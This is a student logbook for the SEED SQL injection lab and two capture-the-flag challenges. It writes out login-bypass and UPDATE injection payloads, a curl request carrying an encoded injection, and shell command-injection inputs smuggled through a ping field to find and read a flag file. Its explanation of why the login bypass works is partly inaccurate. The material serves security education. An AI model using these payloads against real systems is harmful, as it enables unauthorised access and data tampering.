# Logbook8
## Lab
Since we wanted to see all the tables on the MySQL database we ran the following command on terminal to open the docker container terminal:
```bash
docker exec -it c7 sh
```
After that we executed a query to retrieve Alice information:
```sql=
SELECT * FROM credential WHERE name = "Alice";
```
## Task 2.1
We're asked to login into the admin account, without knowing the password. Since the username is inserted in a SQL string without any verification, we could easily use SQL Injection to login as an administrator.
```
Sign in:
> admin' or '1'='1
Password:
> anystring
```
This works because the sql query looks like this:
```sql=
Select ... FROM credential
WHERE name='admin' or '1'='1' and Password=''
```
Since `AND` takes precedence over the `OR` operator, the WHERE clause will just look for `name='admin'` discarding the second part `'1'='1' and Password=''`
## 2.2
To login as the admin, this time without using the webpage, we typed the following curl command:
curl 'http://www.seed-server.com/unsafe_home.php?username=admin%27%20or%20%271%27%3D%271&Password=wearegood'
The output is the following html:
```html
<!--
SEED Lab: SQL Injection Education Web plateform
Author: Kailiang Ying
Email: kying@syr.edu
-->
<!--
SEED Lab: SQL Injection Education Web plateform
Enhancement Version 1
Date: 12th April 2018
Developer: Kuber Kohli
Update: Implemented the new bootsrap design. Implemented a new Navbar at the top with two menu options for Home and edit profile, with a button to
logout. The profile details fetched will be displayed using the table class of bootstrap with a dark table head theme.
NOTE: please note that the navbar items should appear only for users and the page with error login message should not have any of these items at
all. Therefore the navbar tag starts before the php tag but it end within the php script adding items as required.
-->
<!DOCTYPE html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<link href="css/style_home.css" type="text/css" rel="stylesheet">
<!-- Browser Tab title -->
<title>SQLi Lab</title>
</head>
<body>
<nav class="navbar fixed-top navbar-expand-lg navbar-light" style="background-color: #3EA055;">
<div class="collapse navbar-collapse" id="navbarTogglerDemo01">
<a class="navbar-brand" href="unsafe_home.php" ><img src="seed_logo.png" style="height: 40px; width: 200px;" alt="SEEDLabs"></a>
<ul class='navbar-nav mr-auto mt-2 mt-lg-0' style='padding-left: 30px;'><li class='nav-item active'><a class='nav-link' href='unsafe_home.php'>Home <span class='sr-only'>(current)</span></a></li><li class='nav-item'><a class='nav-link' href='unsafe_edit_frontend.php'>Edit Profile</a></li></ul><button onclick='logout()' type='button' id='logoffBtn' class='nav-link my-2 my-lg-0'>Logout</button></div></nav><div class='container'><br><h1 class='text-center'><b> User Details </b></h1><hr><br><table class='table table-striped table-bordered'><thead class='thead-dark'><tr><th scope='col'>Username</th><th scope='col'>EId</th><th scope='col'>Salary</th><th scope='col'>Birthday</th><th scope='col'>SSN</th><th scope='col'>Nickname</th><th scope='col'>Email</th><th scope='col'>Address</th><th scope='col'>Ph. Number</th></tr></thead><tbody><tr><th scope='row'> Alice</th><td>10000</td><td>20000</td><td>9/20</td><td>10211002</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Boby</th><td>20000</td><td>30000</td><td>4/20</td><td>10213352</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Ryan</th><td>30000</td><td>50000</td><td>4/10</td><td>98993524</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Samy</th><td>40000</td><td>90000</td><td>1/11</td><td>32193525</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Ted</th><td>50000</td><td>110000</td><td>11/3</td><td>32111111</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Admin</th><td>99999</td><td>400000</td><td>3/5</td><td>43254314</td><td></td><td></td><td></td><td></td></tr></tbody></table> <br><br>
<div class="text-center">
<p>
Copyright © SEED LABs
</p>
</div>
</div>
<script type="text/javascript">
function logout(){
location.href = "logoff.php";
}
</script>
</body>
</html>
```
## 2.3
To prevent the code from executing multiple queries, the PHP code uses the `$mysqli->query()` API. This function receives a single string as parameter and returns an error when there's an attempt to execute more than one query.
To avoid this behaviour the function `$mysqli->multi_query()` could be used.
---
## 3.1
Using the same approach explained in the task 2.1, we can use the following input to change Alice's salary.
samu', salary='50000
The final result can be checked in the image below:
## 3.2
This final task packages the knowledge from the tasks 2.1 and 3.1.
Firstly, we have to login in Boby's account using the following input in the sign in field:
boby' or '1'='1
After logging in we can use the same strategy in from task 3.1 to change Boby's salary.
samu', salary='1
The result can be checked in the image below:
## CTF
## Challenge 1
Analysing the source code that was given to us, we could see that the query was not secure against SQL Injections.
If we put `admin' OR '1'='1` as username and anything as password, the query will become something like this:
```php=
$query = "SELECT username FROM user WHERE username = 'admin' OR '1'='1' AND password = 'randompassword'";
```
When this query is executed, we will enter as admin and can retrieve the flag.
## Challenge 2
We found that we could run commands on the webserver using **PING A HOST**.
After detecting this vulnerability, we had to find a way to retrieve the flag. Since we knew the flag was in a file called `flag.txt` we searched for this file across the file system using the following command:
```bash
; find / -name flag.txt
```
Then, by using `xargs`, which reads the output of a command to another, and `cat`, we could get the content inside the `flag.txt` file, which is the value of the flag.
```bash
; find / -name flag.txt | xargs cat
```
Google Drive
Gist
Clipboard
Sign in with Wallet
